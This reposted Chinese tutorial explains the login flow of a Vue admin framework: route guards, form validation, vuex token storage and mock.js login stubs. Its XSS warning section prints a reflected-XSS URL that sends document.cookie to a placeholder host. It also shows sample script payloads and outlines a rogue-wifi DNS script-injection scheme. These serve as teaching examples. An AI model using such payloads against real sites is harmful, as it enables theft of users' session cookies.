一步步帶你做vue后台管理框架(三)——登錄功能


系列教程《一步步帶你做vue后台管理框架》第三課

 

github地址:vue-framework-wz

線上體驗地址:立即體驗

 

《一步步帶你做vue后台管理框架》第一課:介紹框架

《一步步帶你做vue后台管理框架》第二課:上手使用

《一步步帶你做vue后台管理框架》第三課:登錄功能

 

 

  認證又稱“驗證”、“鑒權”,是指通過一定的手段,完成對用戶身份的確認。身份驗證的方法有很多,基本上可分為:基於共享密鑰的身份驗證、基於生物學特征的身份驗證和基於公開密鑰加密算法的身份驗證。

  登錄鑒權功能是后台管理項目的基本需求,登錄控制,權限分配,這些都是很普遍的功能。 在框架中已經做好了這部分的工作,我們來了解一下是怎么做的,對以后在框架的基礎上做改進是有很大的幫助的。

  在此之前思考過很多種方法去做登錄功能,一種比較靠譜的方法是用一個Node服務端,利用Node+express+passport的技術棧

 

  Passport項目是一個基於Nodejs的認證中間件,支持本地登錄和第三方賬號登錄驗證。Passport目的只是為了“登陸認證”,因此,代碼干凈,易維護,可以方便地集成到其他的應用中。

  Web應用一般有2種登陸認證的形式:

    •   用戶名和密碼認證登陸
    •   OAuth認證登陸

  Passport可以根據應用程序的特點,配置不同的認證機制。

  項目網站:http://passportjs.org/

  

  Passport是十分強大的,這個技術棧也是非常靠譜的,但是我們就一個純前端框架,需要再做一個Node的服務端嗎?維護起來多麻煩,況且違背了Unix哲學的'簡單原則'----盡量用簡單的方法解決問題----是'Unix哲學'的根本原則。這也就是著名的KISS(keep it simple, stupid),意思是'保持簡單和笨拙'。。

  既然這樣不太好,那就使用單頁應用強大的路由來做登錄。

  如果對vue-router還不熟悉的同學一定要找尤大大課后開小灶了,官方文檔:vue-router

 

  截取一段介紹

  你可以使用 router.beforeEach 注冊一個全局的 before 鈎子:

const router = new VueRouter({ ... })

router.beforeEach((to, from, next) => {
  // ...
})

 

  當一個導航觸發時,全局的 before 鈎子按照創建順序調用。鈎子是異步解析執行,此時導航在所有鈎子 resolve 完之前一直處於 等待中。

  每個鈎子方法接收三個參數:  

    •   to: Route: 即將要進入的目標 路由對象

    •   from: Route: 當前導航正要離開的路由

    •   next: Function: 一定要調用該方法來 resolve 這個鈎子。執行效果依賴 next 方法的調用參數。

      •   next(): 進行管道中的下一個鈎子。如果全部鈎子執行完了,則導航的狀態就是 confirmed (確認的)。

      •   next(false): 中斷當前的導航。如果瀏覽器的 URL 改變了(可能是用戶手動或者瀏覽器后退按鈕),那么 URL 地址會重置到 from 路由對應的地址。

      •   next('/') 或者 next({ path: '/' }): 跳轉到一個不同的地址。當前的導航被中斷,然后進行一個新的導航。

  確保要調用 next 方法,否則鈎子就不會被 resolved。

  所以wz框架采用的是攔截導航,判斷登錄與否和是否有權限,讓它完成繼續跳轉或重定向到登錄界面。

  這篇教程分為兩部分一部分講登錄,另一部分講權限驗證,因為篇幅太長所以需要用兩篇來寫。

  登錄流程是在客戶端發送賬號密碼到服務端,服務端驗證成功后返回token存儲用戶的權限,前端用Cookie把token存儲在本地,在路由跳轉(router.beforeEach)中判斷是否存在token,另外前端可以通過token請求服務端獲取userInfo,在vuex中存儲着用戶的信息(用戶名,頭像,注冊時間等等)。

   權限控制就是在路由跳轉(router.beforeEach)中判斷token中的權限和要去往(to)頁面的路由信息(router meta)中配置的權限是否匹配,同時我們的側邊欄也是根據權限動態生成的,當所登錄的賬號沒有權限訪問時,就不顯示在側邊欄中(例如訪客登錄就無法看到編輯器的側邊欄選項),這樣用戶既看不到側邊欄選項,又無法直接訪問到,雙重控制更安全。

 

  登錄界面只有兩個輸入框,因為不是對外網站所以就沒做注冊功能。

 

首先來看登錄界面login.vue的邏輯。

src/views/login/index.vue

使用了iview的form表單,autoComplete屬性是自動填充默認值到輸入框里,這里是用戶名amdin@wz.com,

@keyup.enter.native="handleLogin"屬性,當按下enter鍵時會自動觸發handleLogin函數,不需要再點擊登錄按鈕,符合日常登錄習慣。


當輸入賬號密碼點擊登錄按鈕會觸發handleLogin函數。

 

其中的邏輯是,獲取頁面表單中的數據(賬號密碼)通過表格validate驗證正確性,依照的規范就是我們在data屬性中定義的。

 data() {
        const validateEmail = (rule, value, callback) => {
          if (!isWscnEmail(value)) {
            //export function isWscnEmail(str) {
            //const reg = /^[a-z0-9](?:[-_.+]?[a-z0-9]+)*@wz\.com$/i;
            //return reg.test(str.trim());
            //}
            callback(new Error('請輸入正確的合法郵箱'));
          } else {
            callback();
          }
        };
        const validatePass = (rule, value, callback) => {
          if (value.length < 6) {
            callback(new Error('密碼不能小於6位'));
          } else {
            callback();
          }
        };
        return {
          loginForm: {
            email: 'admin@wz.com',
            password: ''
          },
          loginRules: {
            email: [
                { required: true, trigger: 'blur', validator: validateEmail }
            ],
            password: [
                { required: true, trigger: 'blur', validator: validatePass }
            ]
          },
          loading: false,
          showDialog: false
        }
      },

 

賬號密碼必須填寫,密碼不能小於6位,賬號必須是以wz.com結尾的電子郵箱地址, 或者可以定義更嚴密的規范。 如果不遵守制定的規范,將會無法登陸。

千萬不要相信用戶的輸入!千萬不要相信用戶的輸入!千萬不要相信用戶的輸入!

除非你想遭受XSS攻擊

如果有同學還不了解什么是XSS攻擊,那么一定要趕快去了解。

下面敲黑板了!划重點!

 

XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。比如這些代碼包括HTML代碼和客戶端腳本。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)。這種類型的漏洞由於被黑客用來編寫危害性更大的網絡釣魚(Phishing)攻擊而變得廣為人知。對於跨站腳本攻擊,黑客界共識是:跨站腳本攻擊是新型的“緩沖區溢出攻擊“,而JavaScript是新型的“ShellCode”。

其重點是“跨域”和“客戶端執行”。有人將XSS攻擊分為三種,分別是:

1. Reflected XSS(基於反射的XSS攻擊)

2. Stored XSS(基於存儲的XSS攻擊)

3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)

 

Reflected XSS

基於反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起Web攻擊。

例子:

1. 做個假設,在淘寶搜索書籍,搜不到書的時候顯示提交的名稱。

2. 在搜索框搜索內容,填入“<script>alert('handsome boy')</script>”, 點擊搜索。

3. 當前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。

4. 進而可以構造獲取用戶cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點擊這個地址:

http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

 

Stored XSS

基於存儲的XSS攻擊,是通過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每個訪問該帖子/文章的人就會觸發執行。

例子:

1. 發一篇文章,里面包含了惡意腳本

今天天氣不錯啊!<script>alert('handsome boy')</script>

2. 后端沒有對文章進行過濾,直接保存文章內容到數據庫。

3. 當其他看這篇文章的時候,包含的惡意腳本就會執行。

PS:因為大部分文章是保存整個HTML內容的,前端顯示時候也不做過濾,就極可能出現這種情況。

 

 

DOM-based or local XSS

基於DOM或本地的XSS攻擊。一般是提供一個免費的wifi,但是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在於頁面,無須經過服務器返回就是基於本地的XSS攻擊。

例子:

1. 提供一個免費的wifi。

1. 開啟一個特殊的DNS服務,將所有域名都解析到我們的電腦上,並把Wifi的DHCP-DNS設置為我們的電腦IP。

2. 之后連上wifi的用戶打開任何網站,請求都將被我們截取到。我們根據http頭中的host字段來轉發到真正服務器上。

3. 收到服務器返回的數據之后,我們就可以實現網頁腳本的注入,並返回給用戶。

4. 當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的常用腳本庫。

 

所以一定要對用戶的輸入做一個過濾。否則后台都被別人給黑了,老板不炒你魷魚才怪。

當我們輸入不正確的賬號密碼時將會自動驗證(輸入完立即驗證而不是等到點擊登錄才驗證),如果不正確將無法登錄。

如果符合驗證規則,則會觸發vuex中的LoginByEmail 


src/store/modules/user.js

 
        

  import { loginByEmail, logout, getInfo } from 'api/login';

 LoginByEmail({ commit }, userInfo) {
      const email = userInfo.email.trim();
      return new Promise((resolve, reject) => {
        loginByEmail(email, userInfo.password).then(response => {
          const data = response.data;
          console.log(response.data);
          Cookies.set('Admin-Token', response.data.token);
          commit('SET_TOKEN', data.token);
          commit('SET_EMAIL', email);
          resolve();
        }).catch(error => {
          reject(error);
        });
      });
    },

把email和password發送到服務器,接受返回來的數據,將token存入 Cookies,並觸發vuex SET_TOKEN及SET_EMAIL事件,存入到vuex全局狀態里。

loginByEmail

src/api/login.js

export function loginByEmail(email, password) {
  const data = {
    email,
    password
  };
  return fetch({
    url: '/login/loginbyemail',
    method: 'post',
    data
  });
}

 

發送fetch請求到指定的url。這里的url是本地服務器的地址,本項目因為是純前端項目,所以使用了 mock.js。

有了這個插件,前端就可以獨立后端開發。

Mock.mock(/\/login\/loginbyemail/, 'post', loginAPI.loginByEmail);

 

在mock.js中這行代碼截獲了所有/login/loginbyemail 路徑的請求,使用loginAPI.loginByEmail處理這個請求

const userMap = {
  admin: {
    role: ['admin'],
    token: 'admin',
    introduction: '我是超級管理員',
    name: 'Super Admin',
    uid: '001'
  },
  editor: {
    role: ['editor'],
    token: 'editor',
    introduction: '我是編輯',
    name: 'Normal Editor',
    uid: '002'


  },
  developer: {
    role: ['develop'],
    token: 'develop',
    introduction: '我是開發',
    name: '工程師小王',
    uid: '003'
  }
}

export default {
  loginByEmail: config => {
    const { email } = JSON.parse(config.body);
      return userMap[email.split('@')[0]];
  },
  getInfo: config => {
    const { token } = param2Obj(config.url);
    if (userMap[token]) {
      return userMap[token];
    } else {
      return Promise.reject('a');
    }
  },
  logout: () => 'success'
};

 

可以看到loginByEmail的作用是把賬戶信息返回前端,例如一個用戶是管理員,就把匹配到的admin的賬戶信息返回去。

當得到了admin的賬戶信息,就把它存儲在cookie里

Cookies.set('Admin-Token', response.data.token);

 

這樣一來在login.js中判斷token是否存在,如果存在token,就繼續路由跳轉,如果不存在,就跳轉到登錄界面。

src/login.js

router.beforeEach((to, from, next) => {
  NProgress.start() // 開啟Progress
  if (store.getters.token) { // 判斷是否有token,從vuex中取出
    if (to.path === '/login') {
      next({ path: '/' })
    } else {
      if (store.getters.roles.length === 0) { // 判斷當前用戶是否已拉取完user_info信息
        store.dispatch('GetInfo').then(res => { // 拉取user_info
          const roles = res.data.role
          store.dispatch('GenerateRoutes', { roles }).then(() => { // 生成可訪問的路由表
            router.addRoutes(store.getters.addRouters) // 動態添加可訪問路由表
            next({ ...to }) // hack方法 確保addRoutes已完成
          })
        }).catch(() => {
          store.dispatch('FedLogOut').then(() => {
            next({ path: '/login' })
          })
        })
      } else {
        // 沒有動態改變權限的需求可直接next() 刪除下方權限判斷 ↓
        if (hasPermission(store.getters.roles, to.meta.role)) {
          next()//
        } else {
          next({ path: '/', query: { noGoBack: true }})
        }
        // 可刪 ↑
      }
    }
  } else {
    if (whiteList.indexOf(to.path) !== -1) { // 在免登錄白名單,直接進入
      next()
    } else {
      next('/login') // 否則全部重定向到登錄頁
      NProgress.done() // 在hash模式下 改變手動改變hash 重定向回來 不會觸發afterEach 暫時hack方案 ps:history模式下無問題,可刪除該行!
    }
  }
})

 

src/store/modules/user.js

vuex中是這樣定義的,相當於直接Cookies.get(),為什么要分開呢?顯然是為了模塊化,方便日后改動項目。

const user = {
  state: {
    user: '',
    status: '',
    email: '',
    code: '',
    uid: undefined,
    auth_type: '',
    token: Cookies.get('Admin-Token'),
    name: '',
    avatar: '',
    introduction: '',
    roles: [],
    setting: {
      articlePlatform: []
    }
  },

 

vuex會從cookies里面取得token的值,這樣就能通過驗證去往路由的下個頁面。

 

 大家有什么問題最好去我github提issues,文章評論評論較長時間才查看一次。

 

接下來的教程講一下封裝UI組件、router、webpack、node命令行構建工具等內容。

希望大家看了這系列教程都能制作出自己的前端框架,從而在工作中得心應手。

如果喜歡就點個start鼓勵下作者吧。

github地址:vue-framework-wz

線上體驗地址:立即體驗

 

打賞

免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2022 CODEPRJ.COM